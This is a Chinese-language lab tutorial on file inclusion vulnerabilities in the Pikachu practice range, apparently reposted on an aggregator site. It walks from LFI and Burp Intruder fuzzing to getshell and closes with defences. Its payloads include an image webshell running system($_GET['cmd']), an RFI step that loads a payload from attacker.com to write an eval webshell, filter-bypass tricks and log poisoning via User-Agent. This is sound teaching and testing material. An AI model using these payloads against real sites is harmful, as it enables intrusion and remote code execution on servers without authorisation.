当前位置: 首页 > news >正文

Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧)

Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧)

在网络安全领域,文件包含漏洞一直是渗透测试中的经典攻击路径。这种漏洞看似简单,却能串联起整个攻击链条,从信息泄露到系统控制,往往只需要几行精心构造的代码。本文将带您深入Pikachu靶场,通过实战演练揭开文件包含漏洞的神秘面纱,掌握从基础探测到完整getshell的全套技巧。

1. 文件包含漏洞核心原理

文件包含漏洞的本质在于应用程序动态加载文件时,未对用户输入进行严格过滤。以PHP为例,当开发者使用includerequire等函数时,如果参数可控,攻击者就能通过路径遍历等手段读取或执行任意文件。

关键危险函数对比

函数文件不存在时行为重复包含处理
include()产生警告,继续执行重复包含
require()产生错误,停止执行重复包含
include_once()产生警告,继续执行不重复包含
require_once()产生错误,停止执行不重复包含

注意:这些函数不仅会解析PHP代码,还会输出文本文件内容,这为敏感信息泄露创造了条件。

漏洞利用的两大场景

  • 本地文件包含(LFI):读取服务器上的配置文件、日志等敏感信息
  • 远程文件包含(RFI):直接加载远程恶意代码,危害性更大

2. 靶场环境搭建与初步探测

Pikachu靶场提供了完美的学习环境。启动靶机后,我们来到文件包含漏洞练习模块,发现一个NBA球星展示页面。看似简单的功能背后隐藏着致命风险。

初始信息收集步骤

  1. 随机选择球星(Kobe),观察URL结构:
    http://[靶机IP]/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交
  2. 修改filename参数尝试直接访问file6.php,发现隐藏的配置文件:
    <?php // 测试用账号 $db_user = 'pikachu_admin'; $db_pass = 'pikachu@123'; ?>
  3. 通过错误信息分析出包含路径为./include/[filename]

BurpSuite爆破技巧

GET /vul/fileinclude/fi_local.php?filename=file§6§.php HTTP/1.1 Host: [靶机IP]

配置Intruder的Payload为数字6-100,步长1,通过响应长度差异快速定位有效文件。

3. 本地文件包含深度利用

掌握了基本文件包含后,我们可以进一步挖掘漏洞潜力。

3.1 系统敏感文件读取

利用路径遍历读取Windows系统文件:

http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../../../Windows/system.ini

常见有价值系统文件

  • Windows:
    • C:\Windows\win.ini- 系统基础配置
    • C:\Windows\System32\drivers\etc\hosts- 网络主机配置
  • Linux:
    • /etc/passwd- 用户账户信息
    • /proc/self/environ- 环境变量

3.2 结合文件上传getshell

更危险的攻击方式是结合文件上传功能实现代码执行:

  1. 上传包含PHP代码的图片马:
    GIF89a; <?php system($_GET['cmd']); ?>
  2. 计算相对路径包含该文件:
    http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../upload/evil.jpg
  3. 成功解析后即可执行系统命令:
    http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../upload/evil.jpg&cmd=whoami

4. 远程文件包含实战

allow_url_include配置开启时,攻击者可以直接包含远程服务器上的恶意脚本:

攻击步骤

  1. 在可控服务器上放置payload:
    <?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?>
  2. 通过URL触发:
    http://[靶机IP]/vul/fileinclude/fi_remote.php?filename=http://attacker.com/shell.txt
  3. 访问生成的shell.php即可获得webshell

防御绕过技巧

  • 利用?截断:http://attacker.com/shell.txt?
  • 使用#号:http://attacker.com/shell.txt#
  • 协议封装:php://input配合POST发送代码

5. 高级利用与防护策略

日志文件注入

  1. 通过User-Agent注入PHP代码:
    GET / HTTP/1.1 User-Agent: <?php phpinfo();?>
  2. 包含日志文件执行代码:
    http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../logs/access.log

有效防御措施

  1. 输入验证:
    $allowed = ['page1', 'page2', 'page3']; if(!in_array($file, $allowed)) { die('Invalid file requested'); }
  2. 配置防护:
    • 设置open_basedir限制访问范围
    • 关闭allow_url_fopenallow_url_include
  3. 文件处理:
    • 使用basename()过滤路径遍历
    • 强制添加后缀名:include($file.'.php');

在真实渗透测试中,文件包含漏洞往往能成为突破内网的关键跳板。通过Pikachu靶场的系统练习,我们不仅掌握了基础利用方法,还学习了如何将各种技巧组合运用,构建完整的攻击链。记住,真正的安全来自于对漏洞原理的深刻理解,而不仅仅是工具的使用。

http://www.cnnetsun.cn/news/1341221.html

相关文章:

  • 从峰值失真到迫零:深入解析线性均衡器的性能边界与设计权衡
  • 避坑指南:LLaMA-Factory微调大模型时常见的5个问题及解决方案
  • C语言system()函数实战:5个超实用的CMD命令调用技巧(附完整代码)
  • ModelScope与Hugging Face API调用全流程对比:从安装到实战代码详解
  • Yi-Coder-1.5B实战案例:让AI帮你重构烂代码
  • SpringBoot整合阿里easyexcel:自定义Converter实现复杂数据映射
  • 交互式艺术装置:结合传感器与cv_unet_image-colorization的实时动态着色墙
  • ComfyUI创作模型解析:图片模型千问与视频模型万象的技术实现与应用场景
  • YimMenu:GTA V游戏体验增强与安全防护全方案
  • PowerPaint-V1实战:用AI画笔快速制作干净无杂物的产品展示图
  • 3大核心能力解密Qwen模型部署:从环境搭建到生产级应用
  • 生物信息学新手必看:从RNA-seq数据到关键基因验证的完整流程解析
  • OpCore Simplify:黑苹果自动化配置工具的技术突破与实践指南
  • 解决Qt平台插件xcb加载失败的实用指南:从环境变量到依赖修复
  • GLM-OCR效果深度评测:多场景下与YOLOv8的协同工作流
  • Python入门者的AI初体验:10行代码调用万象熔炉·丹青幻境生成第一幅画
  • CFturbo实战:5步搞定涡轮机械3D建模与性能预测(附Ansys集成技巧)
  • SiameseAOE中文-base实战手册:ABSA结果后处理——情感极性标准化与业务标签映射
  • ChatGPT对话时间监控:从原理到实践的完整解决方案
  • Shardingsphere-Proxy 5.5.0实战:从零配置到Navicat连接的全流程指南
  • Ollama实战:Phi-3-mini-4k-instruct快速部署与使用体验分享
  • 使用VS2019和CMake编译libwebsockets 4.0的完整指南
  • 沉浸式翻译配置全链路管理:多设备无缝协同指南
  • 零基础玩转YOLOFuse:预装环境+完整代码,快速体验多模态融合检测
  • PID算法实战:从理论到代码的闭环控制之旅
  • 从NISP到实战:网络安全意识赛道备赛全攻略(含最新法规考点解析)
  • UG NX MCD实战:用PID算法打造平衡小车(附完整传感器配置)
  • 避坑指南:PgSQL17中文分词器Zhparser在Ubuntu24上的5大常见报错解决方案
  • Chatbot ChatFlow 架构设计与实现:从对话管理到生产环境部署
  • MySQL多表连接查询终极指南:从Educoder作业到真实项目实践